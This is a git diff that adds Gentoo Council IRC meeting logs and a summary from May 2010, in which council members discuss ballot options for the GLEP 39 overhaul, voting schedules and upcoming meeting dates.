+22:00:11 <ulm>	5.3 next meeting date
+22:00:20 <solar>	May 17th
+22:00:49 <dertobi123>	works for me
+22:00:59 <solar>	or 12th. If we don't have more then 3 items. then 17th would be better imo
+22:01:02 <Calchan>	I'm open all mondays next month
+22:01:22 <solar>	sorry 10th
+22:01:33 <Calchan>	solar, let's do 17th, we may have a rich agenda next time due to glep 39
+22:01:36 <ulm>	both 10th and 17th work for me
+22:01:55 <Betelgeuse>	17th is better
+22:01:59 <ulm>	any objections on May 17th?
+22:02:00 <leio>	both work for me
+22:02:10 <ulm>	18 UTC as usual
+22:02:14 <Calchan>	yes
+22:02:41 <PSYCHO___>	17 ok for me
+22:02:53 <PSYCHO___>	time ok too :]
+22:02:59 <ulm>	ok, 2010-05-17 18 UTC then
+22:03:07 <ulm>	5.4 who will follow-up discussions and prepare the agenda?
+22:03:14 <Calchan>	I can take care of the agenda, makes sense if there's alot about glep 39, unless somebody want sot do it
+22:03:41 <solar>	sounds good
+22:04:05 <ulm>	Calchan: thank you again
+22:04:10 <Calchan>	sure
+22:04:26 <ulm>	open floor then
+22:04:45 <solar>	6.1) is not for the council. Kick it over to the foundation
+22:04:47 <Calchan>	ulm, thanks for chairing, you did a good job, it's not an easy task
+22:05:03 <solar>	or PR
+22:05:19 <Calchan>	solar, good point
+22:05:20 <NeddySeagoon>	Can the council publish a meetings calendar for the remainder of their term ?
+22:05:29 <spatz>	scarabeus: please don't forget to add an exception for when the maintainer is away
+22:05:31 <ulm>	solar: formally infra is responsible for the website
+22:05:36 <Calchan>	NeddySeagoon, what do you mean? decide on the dates now?
+22:05:36 <ferringb>	so... anyone mind clarifying why REQUIRED_USE original discussion from the ml (consensus among other things, and more than enough time), why it got dropped, and when it'll actually be addressed? :)
+22:05:43 <NeddySeagoon>	Calchan, yes
+22:06:00 *	ferringb has poked a few folk about this, but considering no response and the proper forms were followed...
+22:06:04 <NeddySeagoon>	and try to stick with them
+22:06:07 <solar>	ulm: we did this years ago. there were www contests etc.
+22:06:09 <ulm>	ferringb: I thought we had discussed this already
+22:06:27 <solar>	when new code is ready that meets the requirements infra set some years ago. It can be done
+22:06:33 <Calchan>	NeddySeagoon, difficult for me, these meetings happen during office hours and the best I can do is lock a date one month in advance
+22:06:47 <solar>	but that is outside the scope of the council imo
+22:07:29 <Calchan>	ferringb, you need to get your glep accepted, discussed and then approved before the council can vote on it
+22:07:36 <ferringb>	Calchan: it's not a glep
+22:07:51 <ferringb>	Calchan: I may've used the glep format to write the sucker up, but that was purely so the council would have the data in one place
+22:07:52 <Calchan>	ferringb, oh I thought you were talking about a glep
+22:08:00 <Calchan>	sorry then
+22:08:23 <ferringb>	ulm: partially.  I'm still not particularly happy w/ the reasoning, and I'm intent on making enough noise stuff like this doesn't get dropped on the floor without at least telling people why
+22:08:40 <ferringb>	it's not like it was a backroom request.  the call for requests went out, pretty clear it was asked for
+22:08:53 <ulm>	ferringb: I had also thought it was a GLEP, due to http://dev.gentoo.org/~ferringb/gleps/required-use.html
+22:09:00 *	ferringb sighs
+22:09:10 <ferringb>	fine, if that's your thought
+22:09:18 <ferringb>	why didn't you publically state "can't vote on it due to xyz" ?
+22:09:25 <solar>	well you gave it a number, called it a "This GLEP proposes"
+22:09:29 <ferringb>	instead it sits, and I have to run y'alls asses down to find out why it got ignored
+22:09:32 <solar>	so it looks like a draft glep to us
+22:09:39 <ferringb>	solar: number is actually required to generate html
+22:09:45 <Calchan>	ferringb, you are talking to council members here, so make sure you're unambiguous and explicit as much as possible as we're kinda thinck ;o)
+22:09:45 <ferringb>	an annoying restriction actually
+22:10:09 <ferringb>	Calchan: ok, explicit: do not go dropping requests without explaining why
+22:10:13 <ferringb>	even a "don't have time" is fine
+22:10:19 <ulm>	ferringb: we've discussed that before I finalised the agenda :(
+22:10:37 <Betelgeuse>	ulm: I think what ferringb would have wanted as a faster reaction
+22:10:43 <ferringb>	ulm: aware of the justifications; the point I'm after here is the lack of response ;)
+22:11:26 <ferringb>	think of it this way; y'all think it's a glep.  thus far no pms change has been glepped, but whatever, ok.  if someone had even *commented* on it stating "sorry, can't touch it", could've done something about it.  instead it's 5-6 weeks of wait, instead of 1-2.
+22:11:29 <Betelgeuse>	To note for the people doing agenda in the future: Answer all requests int he thread.
+22:11:35 <ferringb>	Betelgeuse: exactly
+22:11:58 <ferringb>	preferably not 5 minutes before you've assembled a proto agenda also
+22:12:06 <Calchan>	ferringb, we suck more often than not, sorry
+22:12:16 <ferringb>	Calchan: people suck more often than not, welcome to the human race
+22:12:26 <ulm>	Betelgeuse: I've contacted everyone on irc, should be as good
+22:12:35 <ferringb>	the people who don't suck are the ones who correct mistakes so they don't repeat 'em ;)
+22:12:41 <Calchan>	ferringb, don't look at me, I don't look human today ;o)
+22:13:03 <solar>	I'd like to see ^^ in it's own section. It's easy to overlook the introduction of new operators that we know will probably become a desired feature elsewhere that !? ( :[] ) syntax is used
+22:13:15 <ferringb>	solar: well, we've got a month to discuss that, don't we? ;)
+22:13:18 <ferringb>	and yes, that was cheap
+22:13:34 <ferringb>	solar: I'll work on splitting that up for potential license reuse
+22:13:36 <Betelgeuse>	ulm: yeah but hard for others to know you have talked on IRC
+22:14:00 <ferringb>	ulm: also, I poked you... and that was after the schedule was set (I find out on my own) ;)
+22:14:52 <ferringb>	basically, if you put out a "request for council discussion points" on dev, stuff that shows up there either include, or respond explaining why not.  simple enough request, and preferably done during the week/two, rather than last minute
+22:14:58 <ferringb>	last minute being fine if the schedule doesn't fit mind you
+22:15:03 <ferringb>	either way, </lecture>
+22:15:23 <solar>	ok. well you have all our ears now for input/feedback.
+22:16:00 <ferringb>	alternatively, approve everything I hand your way... preferably w/ a resolution stating that my word is law so I don't have to burn a month or two for everything I'm after :P
+22:16:09 <solar>	I think the idea is neat. I don't see you saying the PM has to do anything. It's just a key that can be used if it exists right?
+22:16:19 <--	PSYCHO___ has quit (Quit: WeeChat 0.3.1.1)
+22:16:35 <ferringb>	solar: rephrase your question... also, can it wait a bit?  need to run down someone work wise for a second
+22:17:10 <--	Zorry_N900 has quit (Quit: Leaving)
+22:17:15 <Philantrop>	ferringb: You actually said yourself it's a GLEP: http://article.gmane.org/gmane.linux.gentoo.devel/66105
+22:17:52 <Calchan>	ferringb, /win 11
+22:17:56 <Calchan>	dammit
+22:18:31 <solar>	ulm: did we cover OpenFloor 6.2 ?
+22:18:53 <ferringb>	Philantrop: "wrote it up as a glep" doesn't mean drop it on the floor with zero explanation
+22:19:24 <ulm>	solar: not yet
+22:19:28 <ulm>	6.2 "centralise developer documentation"
+22:19:29 <Calchan>	solar, it's open floor so anybody who wants to discuss it is welcome, it doesn't necessarily have to be council members though
+22:19:53 <Betelgeuse>	yeah it's not open floor if it's rigidly controlled :)
+22:19:59 <Philantrop>	ferringb: No, I just wanted to make clear why the council may have seen it as a GLEP.
+22:19:59 <ulm>	I'd thought yngwin would comment on 6.1 and 6.2
+22:20:01 <ferringb>	Philantrop: further, preceeding proposal still had zero commentary from the council, my intent in writing that doc was purely so they had all the details/info in a single spot, not to get nailed by fricking red tape
+22:20:09 <ulm>	butt looks like he isn't here
+22:20:12 <ulm>	*but
+22:20:25 <ferringb>	Philantrop: I grok the view.  annoyance there is the wasted month ahead due to no communication ;)
+22:20:29 <Philantrop>	ferringb: Don't shoot the messenger. :-)
+22:20:34 <solar>	I just want to make sure it does not get lost.
+22:20:36 *	ferringb is in a shooty mood
+22:20:54 <ferringb>	solar: around in a few hours re: discussing ^^ btw
+22:21:17 <solar>	on 6.1. Sounds good if yngwin is going to voluenteer to take lead on it. Or so is my suggestion to him
+22:21:40 <Betelgeuse>	I have been giving tasks related to 6.2 for people contacting me for small tasks.
+22:21:45 <solar>	ferringb: I need to get out after this meeting is over. Around this evening
+22:21:52 <ulm>	solar: he already volunteered on that one
+22:21:59 <Betelgeuse>	but so far most have failed to deliver anything
+22:22:15 *	yngwin is not volunteering for anything until my devrel issue is resolved
+22:22:35 <Calchan>	I think 6.2 is a damned good idea though, one we realy need, but it needs to be done in a way that we don't step over the doc team's toes
+22:22:52 <Betelgeuse>	Calchan: developer documentation is not controlled by doc team in any way
+22:22:55 <ulm>	yngwin: right, I remember so said something like that
+22:22:56 <Betelgeuse>	Calchan: I control it all pretty much
+22:25:02 <Calchan>	Betelgeuse, I thought devmanual was under QA's umbrella, and what I meant is we could consider going further, but that was just an idea
+22:25:16 <Betelgeuse>	Calchan: It is under QA but I can push.
+22:26:03 <Betelgeuse>	Calchan: I would hope QA being more active in maintaining it.
+22:27:06 <solar>	I don't see that happening on it's own.
+22:34:31 <Betelgeuse>	Seems discussions has quieted down.
+22:34:46 <Betelgeuse>	Time for me to move on then. Thanks for everyone.
+22:36:20 <ferringb>	solar: 'k, can discuss then
+22:40:04 <ulm>	can we close the meeting?
+22:40:37 <leio>	yes, so this would be my raw log cut-off point :)
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20100517-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20100517-summary.txt
new file mode 100644
index 00000000..3f52cae5
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20100517-summary.txt
@@ -0,0 +1,11 @@
+Gentoo Council 2010-05-17 meeting agenda / summary:
+
+role call:
+ all present
+
+
+Glep 39 discussion:
+ discussion points:
+  - http://archives.gentoo.org/gentoo-project/msg_79dc0c2dc7d8987a9c9ecaaa30e17bb2.xml
+  - http://archives.gentoo.org/gentoo-project/msg_6009db554b00ae9de67047206c7698be.xml
+  - http://archives.gentoo.org/gentoo-project/msg_3806fe4e42dc8ce013e247a081e3d4a0.xml
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20100517.txt b/xml/htdocs/proj/en/council/meeting-logs/20100517.txt
new file mode 100644
index 00000000..321dd8ec
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20100517.txt
@@ -0,0 +1,304 @@
+21:00:29 <Calchan>	alright, woodpecker says it's time
+21:00:34 *	dertobi123 yawns
+21:00:39 <leio>	here
+21:00:53 <Calchan>	leio is logging, Betelgeuse is probably logging as always, so we should be OK
+21:00:56 <solar>	here
+21:01:00 <ulm>	here
+21:01:04 <Betelgeuse>	here
+21:01:11 <Calchan>	solar, oh great, nice you could make it
+21:01:15 <solar>	sorta
+21:01:42 *	jmbsvicetto looks in
+21:02:12 <Calchan>	so only scarabeus is missing right now
+21:02:26 <Calchan>	let's give him some time while we finish the intro
+21:02:30 <scarabeus>	damn sorry
+21:02:33 <scarabeus>	i am around
+21:02:35 <Calchan>	ah good
+21:02:37 <scarabeus>	but eating dinner
+21:02:42 <scarabeus>	i thought i have 5 more minutes :D
+21:02:43 <scarabeus>	ok
+21:02:44 <Calchan>	so, who wants to chair?
+21:02:45 <scarabeus>	we can go :
+21:02:47 <scarabeus>	]
+21:03:21 <Calchan>	no answer, should I do it then?
+21:03:41 <Calchan>	ko, I'll do it
+21:03:47 <dertobi123>	just do it
+21:03:55 <Calchan>	any remarks on the agenda before we start?
+21:04:32 <Calchan>	dertobi123, did I correctly answer your worries about this meeting being useless in my email?
+21:05:16 <dertobi123>	well
+21:05:24 -->	javaJake (~javaJake@unaffiliated/javajake) has joined #gentoo-council
+21:05:32 <Calchan>	dertobi123, ?
+21:06:08 <Calchan>	anyway, lets go on
+21:06:14 <Calchan>	2. Review of GLEP 39 overhaul propositions (30 minutes)
+21:06:16 <dertobi123>	well, i still think it's quite useless do go through all proposed changes
+21:06:29 <dertobi123>	but anyways, just move on ;)
+21:06:39 <Calchan>	let's not go though all of them but just talk a bou the ones that might not be OK then
+21:07:01 <Betelgeuse>	I'll just iterate that voting should move to the web app after GSoC is over.
+21:07:09 <Betelgeuse>	Otherwise doing the webapp is kind of pointless.
+21:07:13 <Calchan>	as I said in one of my emails some of the propositions are me interpreting what devs want
+21:07:31 <Calchan>	Betelgeuse, great, I'm looking forward to it
+21:07:51 <Calchan>	let's start with http://archives.gentoo.org/gentoo-project/msg_79dc0c2dc7d8987a9c9ecaaa30e17bb2.xml
+21:07:59 <dertobi123>	Calchan: put the proposed ballots up for review a week before voting starts and everyone is able to send in fixes
+21:08:23 <leio>	Calchan: maybe you want to link to the summaries instead?
+21:08:37 <Calchan>	leio, sorry that was the thread
+21:08:50 <Calchan>	http://archives.gentoo.org/gentoo-project/msg_df5433a1e6cbe479462da8f5fe588299.xml
+21:09:19 <Calchan>	^^^ the 5 choices that seem to appear from all the discussions we had
+21:09:41 <Calchan>	the current situation would be number 2
+21:09:59 <Calchan>	anything you want to add or delete from that list?
+21:10:32 <scarabeus>	the last one is uttery dull, we should not be able to switch out votes
+21:10:51 <Calchan>	scarabeus, it was proposed by somebody, can't remember who though
+21:10:54 -->	NeddySeagoon (~NeddySeag@gentoo/developer/NeddySeagoon) has joined #gentoo-council
+21:11:25 <Calchan>	scarabeus, but agreed it looks weird
+21:11:28 <scarabeus>	it should be number 3
+21:11:34 <ulm>	take off the last two points
+21:11:46 <ulm>	they make no sense
+21:11:56 <scarabeus>	actualy no
+21:11:59 <scarabeus>	even that is bad
+21:12:15 <Calchan>	ulm, number 4 is what was done a couple time this year and wasn't accepted so it makes sense to have it on the ballot
+21:12:36 <scarabeus>	4. is most sane if we dont see the votes before we actualy vote
+21:12:45 <Calchan>	btw, the idea is not to discuss the propositions but decide which ones should go on the ballot. If you disagree with some of the propositions (hopefully), then just talk them down on the corresponding thread and vote against them
+21:12:46 <scarabeus>	because it might affect our decision to see how others decided :]
+21:13:07 <ulm>	scarabeus: so?
+21:13:17 <ulm>	it's the same now
+21:13:46 <scarabeus>	probably yea, since we dont have anonymous voting
+21:13:55 <scarabeus>	but now the time you have to do it is bit shorter :]
+21:14:13 <Calchan>	anybody else against having 3 and 4 on the ballot? if not I'll consider we have a majority for keeping them
+21:14:15 <dertobi123>	Calchan: this should also not be about what is on the ballot, since it's not us to decide what people want on the ballots.
+21:14:39 <ulm>	Calchan: 3 and 4? or 4 and 5?
+21:14:46 <Calchan>	dertobi123, agreed in this case, you'll see later that some of the proposals are the result of my interpretation
+21:14:51 <Calchan>	ulm, sorry, 4 and 5
+21:14:55 <ulm>	or do you start counting from zero
+21:15:01 <ulm>	;)
+21:15:15 <Calchan>	ulm, it's still monday morning here ;o)
+21:15:46 <scarabeus>	i am definitely against last one and number 3 if i count from 1
+21:15:56 <scarabeus>	noone should be able to affect council meeting after it ends
+21:16:13 <leio>	against having it on a ballot, or your opinion of what we should choose..?
+21:16:38 <Calchan>	scarabeus, make sure you make the difference between your personal opinion  and whether it makes sense on the ballot
+21:16:54 <ulm>	Calchan: well, put them all on the ballot. we can trust devs not to vote for the stupid ones
+21:16:58 <Calchan>	leio, was that for 4 and 5?
+21:17:19 <leio>	Calchan: that was directed to scarabeus, same meaning what you said
+21:17:25 <Calchan>	ulm, that's also my opinion for the ballot, as for voting yeah, I think some are wrong or don't make sense
+21:17:27 <scarabeus>	keep them all indeed, if we can see how they can break transparency devs are smart enough too
+21:17:30 <solar>	3 & 4 are fine.
+21:18:06 <Calchan>	ok, so let's make it simpler: anybody against having all these on the ballot, and if so which one?
+21:18:33 <Calchan>	I'm ok with all of them on the ballot, scarabeus and ulm too it seems, others?
+21:18:33 <solar>	"- There should be no vote by email." imo should not be there
+21:19:22 <leio>	I don't think the option for developers to choose to keep the status quo should be removed from the ballot
+21:19:27 <Calchan>	solar, I agree that it may be stupid, but some think we should only vote on meetings, thus I put it on the ballot draft, vote will sort them out
+21:20:01 <Calchan>	so solar you're against 1 and 5 or just 1?
+21:20:01 <solar>	we are not required to vote via IRC. Only to hold a monthly meeting
+21:20:40 <solar>	giving ppl the option to choose on something we already decided on seems silly.
+21:20:57 <Calchan>	solar, what we're required to do now and what we'll do in the future based on devs wishes are different things
+21:21:04 <solar>	and as Betelgeuse pointed out there is a webapp in development.
+21:21:39 <Calchan>	Betelgeuse, can you associate the webapp with any of these choices or do you want to add another one for it?
+21:21:51 <scarabeus>	me would like webapp that would make things more fluent
+21:21:55 <Betelgeuse>	Calchan: It should talk about voting during a meeting and outside it.
+21:22:20 <Calchan>	Betelgeuse, OK, so am I understanding in think this is orthogonal?
+21:22:30 <scarabeus>	also i would maybe prefer votes to be anonymous and displayed after we voted, so we cant theoreticaly affect each other :] at least most governments does it that way... :]
+21:22:43 <Betelgeuse>	scarabeus: the web application can do that
+21:23:11 <Calchan>	I still need an answetr for the ballot from Betelgeuse solar and leio
+21:23:42 <Betelgeuse>	Calchan: put everything suggested there
+21:23:51 <Calchan>	Betelgeuse, ok
+21:23:59 <Calchan>	so we have a majority for keeping them all
+21:24:02 <Calchan>	next
+21:24:11 <solar>	what answer do you need from me?
+21:24:14 <leio>	Is the ballot going to be condorcet of each of these, so developers can put a preference list of all these?
+21:24:31 <Calchan>	leio, most probably yes, but we'll discuss that inthe second part
+21:24:46 <Calchan>	second topic: http://archives.gentoo.org/gentoo-project/msg_76311b25ccb18fff4764955db55ad0ea.xml
+21:25:20 <leio>	I don't think any of the options present allow to replace e-mail with webapp, but that's also somewhat covered next in regards to who and how the rules can be changed later
+21:25:33 <leio>	(re: first topic)
+21:25:44 <Betelgeuse>	I wouldn't hardcode any media.
+21:26:20 <Calchan>	so there's 3 main ideas here
+21:27:13 <ulm>	Calchan: can you add a point without any glep?
+21:27:16 <Calchan>	keep the text as a glep, make it as some sort of consitution to make it clear that council can't change it (unlike gleps), or split it so that it's easy for us to update practical aspects of how council works
+21:27:23 <scarabeus>	ulm: there is, the last one
+21:27:35 <Calchan>	ulm, right I forgot that one
+21:27:40 <ulm>	scarabeus: not really
+21:27:48 <scarabeus>	ulm: disregard that, i now read it once again
+21:28:22 <ulm>	IMO this vote is beyond the scope of a glep, and I don't konw why it was a glep before
+21:28:26 <Calchan>	indeed, thare should be one item which says (or something along this): The new text should be a "constitution"
+21:28:27 <ulm>	*know
+21:28:29 <Calchan>	(anybody feel free to propose a better word here) which can only be
+21:28:34 <Calchan>	updated with an all developer vote
+21:28:56 <Calchan>	I'll add that, thanks ulm
+21:29:09 <Calchan>	anybody else with a comment about this ballot?
+21:29:48 <Calchan>	let's switch to the next one then: http://archives.gentoo.org/gentoo-project/msg_6009db554b00ae9de67047206c7698be.xml
+21:30:36 <Calchan>	depending on how people interpret glep 39 the current situation is either 1 or 3, and I comment in the summary that I'm not sure 3 makes sense
+21:30:52 <Calchan>	that's one of those I'm particularly intersted in your opinion
+21:31:10 <ulm>	it's all very vague
+21:31:45 <scarabeus>	we should be 2 or 4 if we have time :P, but its all really not well worded
+21:31:55 <scarabeus>	it does not state exact powers and capabilities
+21:32:00 <Calchan>	ulm, indeed, but unfortunately it's hard to draw the line for this kind of matter, any better idea?
+21:32:25 <Calchan>	scarabeus, again it's not about what the result should be but about the choices we suggest to devs for the vote
+21:32:55 <ulm>	"the council only reacts to requests from developers" doesn't make much sense, because council members are developers too ;)
+21:32:55 <scarabeus>	thats why i put the smiley there, second part of my sentence is important :]
+21:32:59 <Calchan>	does it make sense to have on the ballot the possibility of a council responsible for being proactive but with rather limited powers?
+21:33:24 <dertobi123>	if people want it that way ...
+21:33:37 <Betelgeuse>	Calchan: possible new option: Each council should set its mode of operation after being elected.
+21:34:11 <Calchan>	Betelgeuse, I'll add that to the list
+21:34:19 -->	chithead (~chithead@gentoo/developer/chithanh) has joined #gentoo-council
+21:34:20 <Calchan>	if nobody is against it
+21:34:29 <solar>	no objections
+21:34:55 <Calchan>	Betelgeuse, do we want it with and without the trustees thing? I'd say yes to both
+21:35:24 <Betelgeuse>	Calchan: The trustee option could be a separate vote
+21:35:45 <Calchan>	Betelgeuse, indeed, with this many choices it would make it simple, let's do that
+21:35:56 <Calchan>	I'll update the ballot on the list
+21:36:16 <Calchan>	are we ok with this one? any more comments?
+21:37:09 <Calchan>	ok, next one then: http://archives.gentoo.org/gentoo-project/msg_3806fe4e42dc8ce013e247a081e3d4a0.xml
+21:37:29 <Calchan>	I know solar might have things to say about this one
+21:38:17 <Calchan>	so, anybody objects to any of this?
+21:38:35 <scarabeus>	it corners all cases for devs to vote upon
+21:39:09 <Calchan>	scarabeus, ok, so at least from this point of view we should be covered
+21:39:11 <--	comprookie2000 has quit (Quit: Heading home)
+21:39:47 <Calchan>	solar and I discussed yesterday about some like number not being pertinent, does anybody else think this way?
+21:40:02 <solar>	- Unlike other projects the council does not need a lead.
+21:40:11 <solar>	that is what I agree with.
+21:40:14 <scarabeus>	expect i think it is bad idea having the 3rd option, really that one should not be even thinked upon
+21:41:12 <Calchan>	scarabeus, it's similar the way devrel operates for example, the lead can break ties which avoids the possibility of procrastinating on decisions
+21:41:46 <scarabeus>	well that is why there is 7 of us
+21:41:52 <scarabeus>	not 6 or 8
+21:41:53 <scarabeus>	:]
+21:42:03 <Calchan>	scarabeus, but someone could be missing
+21:42:27 <Calchan>	or we could be in the process of re-electing a new member, which happened
+21:42:44 <scarabeus>	ok
+21:43:34 <Calchan>	so, apart from solar who (it seems) would like to remove all but number one, anybody else wnats to remove any of these propositions?
+21:44:03 <ulm>	I agree with solar on this one
+21:44:33 <dertobi123>	i agree with solar, too ... but again, every proposed item should be added to the ballot
+21:45:05 <Calchan>	ulm, dertobi123, so are you against having those on the ballot? please be explicit
+21:45:26 <scarabeus>	we dont like idea of having lead, yet we respect devs that they want to vote about it themselves
+21:45:30 <solar>	dertobi123 was pretty explicit
+21:46:13 <Calchan>	solar, actually no, he says he doens't want them in the ballot and that he does want them in the ballot in the same sentence
+21:46:22 <Calchan>	Betelgeuse, scarabeus ?
+21:46:46 <Betelgeuse>	Calchan: anything goes, the more options the better
+21:47:00 <dertobi123>	Calchan: jesus ..... i agree with solar, that the council doesn't need a lead. but once again, every proposed item should be added to the ballot.
+21:47:06 <dertobi123>	that's explicit enough?
+21:47:13 <Calchan>	Betelgeuse, dertobi123, ok thanks
+21:47:43 <Calchan>	and I'm for leaving those options to devs too so we have a majority
+21:48:02 <Calchan>	anybody with anyhting to add before we switch to the second part?
+21:48:05 <leio>	same as Calchan for me
+21:48:54 <Calchan>	ok, then: 3. Scheduling and voting issues (20 minutes)
+21:49:11 <Calchan>	so here's the issue
+21:49:29 <Calchan>	devs will likely want to vote on the final text so that leaves us with 2 votes
+21:49:32 <leio>	nothing regarding the second part (how lead is elected if a lead is chosen in the vote)?
+21:49:45 <Calchan>	leio, oh sorry
+21:49:54 <Calchan>	so guys go ahead with that
+21:50:14 <leio>	I have nothing (like objections or whatnot) on it though
+21:50:19 <Calchan>	obviously that question applies only if some for of lead is decided to the previous question
+21:50:31 <solar>	this is a waste of my time
+21:50:40 <dertobi123>	solar++
+21:51:01 <Calchan>	solar, dertobi123 feel free to leave the meeting now, you don't have to stay
+21:51:18 <solar>	I'm looking for a proxy for the rest of the council.
+21:51:45 <solar>	my term. If any dev plans to run next year and you don't suck. let me know so I can make you my proxy
+21:52:17 <Calchan>	ok, back to 3. Scheduling and voting issues (20 minutes)
+21:52:35 <Calchan>	devs will likely want to vote on the final text so that leaves us with 2 votes
+21:52:48 <Calchan>	and that the schedule will be tight for that before the next election
+21:53:24 <Calchan>	so one question is: do we want to do everything possible to be done before the next election, or we want to take whatever time it takes to do it
+21:53:44 <dertobi123>	well, what solar said ... basically the same for me, especially the "if you don't suck" part ...
+21:54:19 <scarabeus>	we should not rush things before the end of our "time"
+21:54:28 <ulm>	scarabeus++
+21:54:35 <ulm>	we're not in such a hurry
+21:54:36 <dertobi123>	Calchan: such important things shouldn't be waived through in about some weeks or so ... so it's not practically doable to do "the right way" when rushing things through
+21:54:46 <dertobi123>	+it
+21:54:58 <Calchan>	scarabeus, at first I though it would have been nice to finish before the end of our term, but I think more and more it will be impossible without rushing it
+21:55:14 <Calchan>	dertobi123, agreed here
+21:55:45 <ulm>	Calchan: there should be enough time for discussion on MLs
+21:55:47 <scarabeus>	i think it will be impossible. and we should not push through something half baked on such important topic
+21:56:17 <leio>	has the discussion in mailing lists been going on for enough and is quieting down?
+21:56:26 <Calchan>	so we have dertobi123 scarabeus ulm and me for doing it right and not rushing it
+21:56:38 <Betelgeuse>	no hurry for me either
+21:56:38 <leio>	I'm with not rushing too
+21:56:42 <scarabeus>	come on, everyone will say that
+21:56:47 <Betelgeuse>	the current GLEP doesn't really impede that much
+21:56:51 <Calchan>	leio, yes, no progress in like a couple weeks, but not a good neough reason to stop it there
+21:57:45 <leio>	I think if we get somewhere with this from a well timed vote, then after this is in effect we don't need to wait for the whole year of the next term
+21:57:59 <Calchan>	another point raised on the ml is we could vote on that (and I'm guessing it's only for the first part, i.e. voting on all the propositions) on the forums instead
+21:58:04 -->	darkside_ (~darkside@gentoo/developer/darkside) has joined #gentoo-council
+21:58:19 <Calchan>	and frankly I don't like that much
+21:58:37 <leio>	and I have not been participating in any discussion as I didn't even notice any was going on, as I admit to not having been subscribed to gentoo-project. I imagine many other developers aren't as well (there was a dev-announce starter though).
+21:58:56 <scarabeus>	maybe migrate to -core
+21:58:59 <scarabeus>	everyone will get the mail
+21:59:03 <Calchan>	leio, I sent a tracker to dev-announce
+21:59:23 <Calchan>	scarabeus, no point to hide that in core, not what it's intended for
+21:59:42 <scarabeus>	well i didnt want to hide it
+21:59:48 <Betelgeuse>	If someone doesn't read -dev-announce that's their problem
+21:59:49 <scarabeus>	that is only list every dev is getting
+21:59:50 <Calchan>	leio, but that's ok, it's always time to jump in the discussions
+21:59:57 <scarabeus>	but yea Peteri is right
+22:00:01 <Calchan>	scarabeus, no
+22:00:01 <scarabeus>	people should read d-a
+22:00:10 <--	blueness has quit (Quit: Ex-Chat)
+22:00:17 <Calchan>	scarabeus, devs *have* to be subscribed to -dev-announce
+22:00:42 <Betelgeuse>	scarabeus: you're better off with Betelgeuse (it's Petteri)
+22:00:53 <Calchan>	so, about voting on forums?
+22:01:13 <Betelgeuse>	It's easier to write with tab too :)
+22:01:14 <ulm>	Calchan: forums would imply voting by non-devs?
+22:01:21 <Calchan>	ulm, indeed
+22:01:22 <leio>	yeah, we'll just assume the discussion will be happening in a mailing list that we aren't subscribed to, instead of thinking there's silence, based on the To and Reply-To being something and we look closely at that to know that we are missing a subscription :)
+22:01:32 <ulm>	Calchan: doesn't make sense to me
+22:01:41 <scarabeus>	Betelgeuse: i tried, somehow quassel didnt complete so Petteri is shorter if you write it out :P
+22:01:49 <dertobi123>	can we please get proposals for topic #3 for the next meeting? or on the council mailinglist ... that's kinda pointless do start a discussion now and here
+22:02:31 <Calchan>	dertobi123, ok, no emergency on that
+22:02:58 <dertobi123>	ulm: btw. there's a forum restricted to developers, but i guess not every developer has an account on f.g.o
+22:03:15 <Betelgeuse>	I think forums have any added benefit.
+22:03:21 <Betelgeuse>	+don't
+22:03:36 <Calchan>	anything else to add to this before we move on?
+22:03:54 -->	jsbronder (~jsbronder@gentoo/developer/jsbronder) has joined #gentoo-council
+22:04:22 <Calchan>	ok then
+22:04:24 <--	billie has quit (Remote host closed the connection)
+22:04:29 <Calchan>	4.1 Action list. Who does what and when?
+22:04:53 <Calchan>	I will update the propositions and prepare the ballot list
+22:05:31 <Calchan>	4.2 Who takes care of the summary and log for this meeting? When?
+22:05:46 <Betelgeuse>	I have exams for this week so rather not.
+22:06:04 <Calchan>	I can do it, or maybe we can ask tanderson
+22:06:16 <leio>	raw log, me as usual, before next sleep
+22:06:24 <Calchan>	anybody opposed to him doing the summaries btw?
+22:06:34 -->	ABCD (~abcd@gentoo/developer/abcd) has joined #gentoo-council
+22:06:59 <Calchan>	ok, so I'll see with him whetehr he wants to do it, if not I'll do it
+22:07:03 <Calchan>	4.3 Next meeting date/time.
+22:07:28 <Calchan>	how's june 14th for what should be our last meeting?
+22:07:32 <leio>	when is our term ending exactly?
+22:07:57 <Betelgeuse>	should work for me
+22:07:59 <Calchan>	leio, I'd say late june early july
+22:08:02 <jmbsvicetto>	According to http://archives.gentoo.org/gentoo-dev-announce/msg_20ba6ea38ae349fc57470bd8a78f4b5f.xml it should end at the end of June / early July
+22:08:26 <NeddySeagoon>	jmbsvicetto, so the election process shuold have started
+22:08:48 <Calchan>	NeddySeagoon, or soon will, are we late already?
+22:08:53 <jmbsvicetto>	NeddySeagoon: no
+22:08:55 <dertobi123>	NeddySeagoon: election process should start in early in june
+22:09:02 <jmbsvicetto>	It should start around June 1st
+22:09:20 <jmbsvicetto>	2 weeks nomination + 2 weeks voting
+22:09:28 <NeddySeagoon>	ok
+22:09:47 <dertobi123>	anyways, june 14th should work for my last council meeting, just in case i don't find a proxy
+22:09:49 <jmbsvicetto>	with 1 or 2 days in between - depends on how much time the infra contact require to setup the election
+22:10:15 <Calchan>	Betelgeuse, dertobi123 and I are available on june 14th, how about the others?
+22:10:20 <leio>	fine
+22:10:30 <Calchan>	dertobi123, not much usually happens on the last meeting though
+22:10:45 <ulm>	fine with me too
+22:10:57 <scarabeus>	works ok
+22:11:10 <dertobi123>	Calchan: we'll see ... already today and for quite some time nothing happened ... so that's quite ok for me.
+22:11:51 <Calchan>	ok, for the 14th then
+22:12:01 <Calchan>	who does the agenda?
+22:12:05 <Calchan>	any volunteers?
+22:13:17 <Calchan>	sigh, I'll do it then
+22:13:28 <Calchan>	5. Open floor
+22:13:33 <jmbsvicetto>	Calchan / dertobi123: We'll be ready for any ideas about a "Coup d'état" ;-)
+22:13:38 <Calchan>	thanks all for your participation
+22:13:56 <Calchan>	jmbsvicetto, meh?
+22:13:58 <jmbsvicetto>	We shouldn't be trying to rush a voting about GLEP39 "reform"
+22:14:08 <dertobi123>	jmbsvicetto: lol ;)
+22:14:13 <jmbsvicetto>	Calchan: about the "quiet" last meeting ;)
+22:14:57 <dertobi123>	all glep39 stuff should be voted on by all developers, so they should've the options they want - nothing to rush a vote on in the next meeting
